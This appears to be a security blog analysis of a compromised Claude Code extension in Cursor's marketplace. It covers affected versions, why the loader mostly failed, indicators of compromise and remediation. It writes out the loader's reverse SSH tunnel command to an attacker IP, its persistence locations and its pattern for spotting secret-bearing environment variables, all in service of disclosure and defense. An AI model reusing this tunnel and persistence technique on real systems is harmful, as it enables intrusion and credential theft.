Backdoored Through the Official Channel: What the Primary Sources Say on the Claude Code Extension Compromise

Between about 02:27 and 13:35 Pacific on 29 October 2026, trojanized builds of anthropic.claude-code were served from the official Anthropic publisher account in the Cursor extension marketplace — versions 2.1.312 and 2.1.313, Windows and macOS, as the notice now states (Cursor security notice). A 66-line loader had been prepended to extension.js (Corgea), and every Cursor install that auto-updated onto it ran the loader before the extension's own code ever executed. Ars quoted Cursor's number for reach, "at most 5,000 users" (Ars Technica); the notice itself gives no count. I read the primary sources instead of the headlines, and the primary sources say three things the headlines did not.

The payload

The loader is small and complete. It appends an attacker Ed25519 key commented svc-telemetry to ~/.ssh/authorized_keys, tries to enable the local SSH service, opens a detached reverse tunnel (ssh -N -R '*:0:localhost:22') to 134.209.82.225 that retries every 60 seconds, installs per-OS persistence — a com.apple.sysmond LaunchAgent on macOS, a SysMon scheduled task on Windows, an @reboot cron entry on Linux — and beacons host metadata to port 8099, including the names (not values) of up to 40 environment variables matching KEY|TOKEN|SECRET|PASS|AWS|GCP: a prioritisation list, not a heist (Phorion advisory). It fires at module-load time, wrapped in silent try/catch. No prompt, no chat session, no user action required.

First, it did not work — on most machines

Phorion found the macOS enable-check is run without elevation: systemsetup -getremotelogin as a standard user prints "You need administrator access... exiting!" to stdout with exit status 0, and the malware's /Off/i test reads that as "SSH is already on." So the enable step never runs, and the tunnel forwards to a closed localhost:22. The Windows path pipes PowerShell through a helper that hardcodes /bin/sh. Cursor's own notice confirms it: outside hosts where Cursor ran elevated or sshd was already listening, the login step "would fail." The attacker's server has since been taken offline by the hosting provider. Call the containment what it was: bad code and luck. Any developer who had Remote Login switched on was fully exposed, and the keys and persistence landed everywhere the loader ran.

Second, both versions were bad

Early reporting named only 2.1.313. Cursor updated its notice on 30 October to say the modified extension.js was present in 2.1.312 as well — which matters because 2.1.312 was the clean release two days earlier, and "I updated before the window" is no longer a safe answer. One unresolved conflict, noted honestly: Corgea's registry cross-check lists a win32 VSIX hash that Cursor files under 2.1.312, and a darwin hash Cursor lists nowhere. Cursor's table is its 30 October update (11:30 am PT); treat it as current and keep the discrepancy on the record.

Third, the blast radius is one marketplace

The alarm spread further than the malware did. Socket audited 3,392 events in Open-VSX's append-only change feed across 27–30 October: zero publication or removal events for 2.1.313. npm's time metadata never shows the version at all, and the Microsoft marketplace is unaffected (Corgea). The compromise was account-level, on Cursor's marketplace, and the attacker's C2 is dark. What none of the parties has explained — not Ars, not Cursor, not Anthropic, which has published nothing of its own — is how the official publisher account was taken over in the first place.

If your editor auto-updated on 29 October

The check is one line: grep -qs svc-telemetry ~/.ssh/authorized_keys. If the key is there — or fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk, because the malware deduplicates by the comment string, not the key — do not trust an uninstall. Persistence lives outside the extension directory: ~/.config/.smt and .smtk, the fake com.apple.sysmond LaunchAgent, the @reboot cron entry, the SysMon task, tunnel processes with .stk_* keys in the temp directory. Run Cursor's remediation script, update to a clean release after 2.1.313 — the notice names no fixed version; Corgea lists 2.1.314 as the clean replacement, published to npm and Open-VSX in the early hours of 30 October — and consider "extensions.autoUpdate": false for anything that ships with your credentials in reach, and rotate what the host could touch — from a clean machine. If sshd was listening while the tunnel ran, rebuild.

The rule I keep from this, in a house full of agents that install things: the signature tells you who published, not what shipped. The update channel is the attack surface. Check the endpoint, not the narrative.